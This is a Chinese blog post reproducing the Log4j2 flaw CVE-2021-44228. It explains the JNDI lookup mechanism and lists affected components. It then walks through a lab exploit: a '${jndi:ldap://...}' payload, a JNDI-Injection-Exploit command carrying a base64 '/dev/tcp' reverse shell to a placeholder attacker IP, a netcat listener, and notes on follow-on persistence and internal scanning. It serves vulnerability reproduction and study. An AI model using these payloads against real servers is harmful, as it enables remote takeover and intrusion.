wait's〔三生石畔〕 善良人在追求中纵然迷惘,却终将意识到有一条正途。—— 歌德
【漏洞复现】CVE-2021-44228 log4j2 从DNSlog到getshell
发表于: | 分类: 应急响应 | 评论:8 | 阅读: 3028

漏洞描述
由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
影响版本
Apache Log4j 2.x < 2.15.0-rc2
影响范围
含有该漏洞的Log4j影响到超过 6000个中间件或应用,目前已知的可能受影响的应用及组件包括但不限于如下清单中所列出的:

  • Spring-Boot-strater-log4j2
  • Apache Struts2
  • Apache Solr
  • Apache Flink
  • Apache Druid
  • ElasticSearch
  • Flume
  • Dubbo
  • Redis
  • Logstash
  • Kafka
  • VM
    总结一下

从利用的方式来看,基本都是使用 rmi、ldap 来构造 payload:

${jndi:ldap://xxx.xxx.xxx.xxx/exp}

日志在打印时当遇到 ${ 后,Interpolator 类以 : 号作为分割,将表达式内容分割成两部分,前面部分作为 prefix,后面部分作为 key。然后通过 prefix 去找对应的 lookup,通过对应的 lookup 实例调用 lookup 方法,最后将 key 作为参数带入执行。
最终效果就是通过 jndi 注入,借助 ldap 服务来下载执行恶意 payload,从而执行命令,整个利用流程如图:
Q20211214203528-1214.jpg
Q20211214203528-1214-2.jpg
整个利用流程分两步:
第一步:向目标发送指定 payload,目标对 payload 进行解析执行,然后会通过 ldap 链接远程服务,当 ldap 服务收到请求之后,将请求进行重定向到恶意 java class 的地址。
第二步:目标服务器收到重定向请求之后,下载恶意 class 并执行其中的代码,从而执行系统命令。


下面为漏洞验证环境

第一步漏洞演示-DNSlog回显探测:
1、正常的响应请求
2021121320012-1.jpg
2、带dnslog测试,可看回显:
20211213200507-2.jpg

第二步漏洞演示-搭建平台做攻击反弹shell:
1、编译java文件成class类
20211213-3.jpg
2、上传JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar文件,并合成POC

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,**xxxxAxxx**}|{base64,-d}|{bash,-i}" -A "**xxxxBxxx**"

xxxxAxxx:base64编码:bash -i >& /dev/tcp/xxxxBxxx/4445 0>&1)
xxxxBxxx:为攻击机的IP)
20211214-b-0.jpg
20211214-B-1.jpg
3、等JNDI利用列表展示时,根据适用的利用方式进行访问
20211214201552-T-1.jpg
如果时POST类型,或者请求包中含有多个入参,建议全部加上JNDI的请求
如果时GET类型,则直接在页面请求访问即可。
4、在请求之前,用netcat指令,监听4445端口,留着目标服务器反弹shell的连接监听
20211214201846-t-2.jpg
5、最终通过ls、whoami等指令判断目标服务器的权限以及路径,为后续的持续shell、内网扫描做准备。

TOP